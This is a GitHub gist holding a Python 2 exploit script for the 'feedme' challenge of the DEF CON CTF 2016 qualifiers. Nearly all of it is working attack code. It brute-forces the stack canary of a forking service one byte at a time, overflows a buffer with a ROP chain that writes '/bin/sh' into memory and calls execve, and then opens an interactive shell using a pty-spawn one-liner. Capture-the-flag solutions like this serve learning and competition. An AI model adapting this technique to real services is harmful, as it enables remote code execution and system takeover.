Created
May 23, 2016 09:33
-
-
Save hugsy/0f196cfb8c62a4c56fdbc424cb7883bf to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# | |
# feedme challenge | |
# defcon ctf 2016 | |
# | |
# @_hugsy_ | |
# | |
import socket, struct, sys, telnetlib, binascii | |
HOST = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me" | |
HOST = "172.28.128.4" | |
PORT = 4092 | |
def hexdump(src, length=0x10): | |
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result='' | |
while src: | |
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s]) | |
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length | |
return result | |
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key))) | |
def p16(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i) | |
def u16(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0] | |
def p32(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i) | |
def u32(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0] | |
def p64(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i) | |
def u64(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0] | |
def _xlog(x): sys.stderr.write(x + "\n") ; sys.stderr.flush() ; return | |
def err(msg): _xlog("[!] %s" % msg) | |
def ok(msg): _xlog("[+] %s" % msg) | |
def dbg(msg): _xlog("[*] %s" % msg) | |
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg)) | |
def asm(code, arch="None", mode=None): | |
import keystone | |
ks = keystone.Ks(arch, mode) | |
try: enc, cnt = ks.asm(code) | |
except: enc = [] | |
return bytearray(enc) | |
def build_socket(host, port): | |
s = telnetlib.Telnet(HOST, PORT) | |
ok("Connected to %s:%d" % (host, port)) | |
return s | |
def interact(s, live_tty=False): | |
pty = """python -c "import pty;pty.spawn('/bin/bash')" """ | |
try: | |
if live_tty: s.write(pty + '\n') | |
else: ok("""Get a PTY with ' %s '""" % pty) | |
s.interact() | |
except KeyboardInterrupt: | |
ok("Leaving") | |
except Exception as e: | |
err("Unexpected exception: %s" % e) | |
return | |
def xsend(s, buf, buflen): | |
s.read_until("FEED ME!\n") | |
s.write( chr(buflen) ) | |
s.write( buf ) | |
return | |
def leak_canary_byte(s, can, off): | |
for i in range(256): | |
p = 'A'*32 + can + chr(i) | |
xsend(s, p, len(p) ) | |
res = s.read_until("\n") | |
res2 = s.read_until("\n") | |
if res2 != "Child exit.\n": | |
return chr(i) | |
return None | |
def leak_canary(s): | |
can = "" | |
for i in range(4): | |
b = leak_canary_byte(s, can, i) | |
if b is None: | |
err("bail") | |
exit(1) | |
ok("Found canary[%d]=%.2x"%(i, ord(b))) | |
can += b | |
return can | |
def pwn(s): | |
ok("Leaking canary using BROP") | |
canary = leak_canary(s) | |
ok("Using canary '%#.8x'" % u32(canary)) | |
ok("Building shellcode") | |
bss = 0x080EBF40 | |
rop = "" | |
# *bss = /bin/sh | |
rop+= p32(0x080bb496) # pop eax ; ret | |
rop+= p32(0x6e69622f) # /bin | |
rop+= p32(0x806f34a) # pop edx ; ret | |
rop+= p32(bss) | |
rop+= p32(0x8065ff2) # mov dword ptr [edx], eax ; mov eax, edx ; ret | |
rop+= p32(0x080bb496) # pop eax ; ret | |
rop+= p32(0x0068732f) # /sh | |
rop+= p32(0x806f34a) # pop edx ; ret | |
rop+= p32(bss+4) | |
rop+= p32(0x8065ff2) # mov dword ptr [edx], eax ; mov eax, edx ; ret | |
# sys_execve(/bin/sh) | |
rop+= p32(0x806f34a) # pop edx ; ret | |
rop+= p32(0x00) | |
rop+= p32(0x806f371) # pop ecx ; pop ebx ; ret | |
rop+= p32(0x00) | |
rop+= p32(bss) | |
rop+= p32(0x80bb496) # pop eax ; ret | |
rop+= p32(11) | |
rop+= p32(0x8049761) # int 80h | |
payload = "A"*32 + canary + "B"*12 + rop | |
# raw_input("Attach with GDB and hit Enter ") | |
ok("Sending shellcode") | |
xsend(s, payload, len(payload)) | |
res = s.read_until("\n") | |
return True | |
if __name__ == "__main__": | |
s = build_socket(HOST, PORT) | |
if pwn(s): | |
ok("Switching to interactive...") | |
interact(s, False) | |
ret = 0 | |
else: | |
err("Failed to exploit") | |
ret = 1 | |
s.close() | |
exit(ret) | |
# auto-generated by gef |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment